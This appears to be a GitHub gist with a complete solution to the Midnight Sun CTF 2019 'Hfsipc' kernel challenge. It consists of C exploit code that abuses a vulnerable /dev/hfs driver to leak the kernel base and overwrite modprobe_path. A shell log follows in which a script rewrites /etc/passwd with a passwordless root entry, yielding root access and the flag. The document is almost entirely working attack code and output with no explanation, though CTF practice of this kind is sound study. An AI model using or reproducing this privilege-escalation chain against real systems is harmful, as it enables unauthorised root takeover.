Midnight Sun CTF 2019 Quals Hfsipc
// gcc -static -nostdlib -masm=intel ./exp.c -o exp | |
#define BUFSIZE 32 | |
#define O_RDWR 00000002 | |
int fd; | |
unsigned long kernel_base; | |
unsigned long fake_chunk[BUFSIZE/8]; | |
int read(int fd, char* buf, int len) { | |
__asm__("mov rax, 0"); | |
__asm__("syscall"); | |
} | |
int write(int fd, char* buf, int len) { | |
__asm__("mov rax, 1"); | |
__asm__("syscall"); | |
} | |
int open(char* filename, int flags) { | |
__asm__("mov rax, 2"); | |
__asm__("syscall"); | |
} | |
int close(int fd) { | |
__asm__("mov rax, 2"); | |
__asm__("syscall"); | |
} | |
void exit(int status) { | |
__asm__("mov rax, 60"); | |
__asm__("syscall"); | |
} | |
int ioctl(unsigned int fd, unsigned int cmd, unsigned long* arg) { | |
__asm__("mov rax, 16"); | |
__asm__("syscall"); | |
} | |
int strlen(char* string) { | |
int len = 0; | |
for (; *(string++) != '\x00'; len++) {} | |
return len; | |
} | |
void puts(char* string) { | |
int len = strlen(string); | |
write(1, string, len); | |
} | |
void memset(char* a, char b, int len) { | |
int i; | |
for (i=0; i<len; i++) { | |
a[i] = b; | |
} | |
} | |
long ipc_create(long key, long size) { | |
long buf[2]; | |
buf[0] = key; | |
buf[1] = size; | |
if (ioctl(fd, 0xABCD0001, buf) < 0) { | |
puts("failed ipc_create"); | |
exit(3); | |
} | |
return 0; | |
} | |
long ipc_read(long key, char* ptr, long size) { | |
long buf[3]; | |
int result; | |
buf[0] = key; | |
buf[1] = size; | |
buf[2] = (long)ptr; | |
if ((result = ioctl(fd, 0xABCD0003, buf)) < 0) { | |
puts("failed ipc_read"); | |
// printf("%d\n", result); | |
exit(3); | |
} | |
return 0; | |
} | |
long ipc_delete(long key) { | |
long buf[2]; | |
int result; | |
buf[0] = key; | |
if ((result = ioctl(fd, 0xABCD0002, buf)) < 0) { | |
puts("failed ipc_delete"); | |
// printf("%d\n", result); | |
exit(3); | |
} | |
return 0; | |
} | |
long ipc_write(long key, char* ptr, long size) { | |
long buf[3]; | |
int result; | |
buf[0] = key; | |
buf[1] = size; | |
buf[2] = (long)ptr; | |
if ((result = ioctl(fd, 0xABCD0004, buf)) < 0) { | |
puts("failed ipc_write"); | |
// printf("%d\n", result); | |
exit(3); | |
} | |
return 0; | |
} | |
void _start(void) { | |
puts("open /dev/hfs"); | |
fd = open("/dev/hfs", O_RDWR); | |
if (fd < 0) | |
exit(2); | |
puts("trying leak kernel address"); | |
unsigned long buf[BUFSIZE/0x8 + 1]; | |
for (int i=0xdead; i<0xdead+0x180; i++) { | |
ipc_create(i, BUFSIZE); | |
} | |
memset((char*)buf, 'A', BUFSIZE); ipc_write(0xdead+0x180-0x10, (char*)buf, BUFSIZE); | |
memset((char*)buf, 'A', BUFSIZE); ipc_write(0xdead+0x180-0xf, (char*)buf, BUFSIZE); | |
memset((char*)buf, 'A', BUFSIZE); ipc_write(0xdead+0x180-0xe, (char*)buf, BUFSIZE); | |
memset((char*)buf, 'A', BUFSIZE); ipc_write(0xdead+0x180-0xd, (char*)buf, BUFSIZE); | |
buf[2] = (unsigned long)&fake_chunk; | |
ipc_write(0xdead+0x180-0xe, (char*)buf, BUFSIZE); | |
memset(buf, '\xa0', BUFSIZE+1); | |
ipc_delete(0xdead+0x180-0xe); | |
ipc_delete(0xdead+0x180-0xf); | |
ipc_write(0xdead+0x180-0x10, buf, BUFSIZE+1); | |
for (int i=0; i<0x100; i++) | |
ipc_create(i, 0x100); | |
long key = fake_chunk[0]; | |
// printf("heap_addr = 0x%lx\n", fake_chunk[1]); | |
fake_chunk[2]= 0x1000; | |
unsigned long tmp[0x1000/8]; | |
ipc_read(key, (char*)tmp, 0x1000); | |
for (int i=0; i<0x1000/8; i++) { | |
if (tmp[i] > 0xffffffff81000000) { | |
// 0xffffffff818151c0 | |
if (0x1c0 == (tmp[i]&0xfff)) { | |
kernel_base = tmp[i] - 0x8151c0; | |
break; | |
} | |
// 0xffffffff810ba1d0 | |
if (0x1d0 == (tmp[i]&0xfff)) { | |
kernel_base = tmp[i] - 0xba1d0; | |
break; | |
} | |
} | |
} | |
// printf("kernel_base = 0x%lx\n", kernel_base); | |
fake_chunk[1] = kernel_base + 0xa3f7a0; | |
fake_chunk[2] = 0x20; | |
puts("trigger"); | |
ipc_write(key, "/home/user/a", 0x20); | |
while (1) {}; | |
close(fd); | |
} |
user@hfs:~$ base64 -d a | gzip -d > exp && chmod +x exp | |
base64 -d a | gzip -d > exp && chmod +x exp | |
user@hfs:~$ ./exp & | |
./exp & | |
user@hfs:~$ open /dev/hfstrying leak kernel addresstrigger | |
user@hfs:~$ cat /proc/sys/kernel/modprobe | |
cat /proc/sys/kernel/modprobe | |
/home/user/a | |
user@hfs:~$ echo -ne '\xff\xff\xff\xff' > /home/user/hoge && chmod +x /home/user/hoge | |
echo -ne '\xff\xff\xff\xff' > /home/user/hoge && chmod +x /h | |
ome/user/hoge | |
user@hfs:~$ echo -ne "#!/bin/sh\n/bin/chmod -R 4777 /etc/passwd /bin/busybox\necho 'root::0:0:root:/root:/bin/sh' > /etc/passwd\n" > /home/user/a && chmod +x /home/user/a | |
echo -ne "#!/bin/sh\n/bin/chmod -R 4777 /etc/passwd /bin/bus | |
ybox\necho 'root::0:0:root:/root:/bin/sh' > /etc/passwd\n" > /home/user/a && chm | |
od +x /home/user/a | |
user@hfs:~$ /home/user/hoge | |
/home/user/hoge | |
/home/user/hoge: line 1: : not found | |
user@hfs:/home/user$ su root | |
su root | |
root@hfs:/home/user$ id | |
id | |
uid=0(root) gid=0(root) groups=0(root) | |
root@hfs:/home/user$ cat /root/flag | |
cat /root/flag | |
midnight{0fF_bY_0n} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment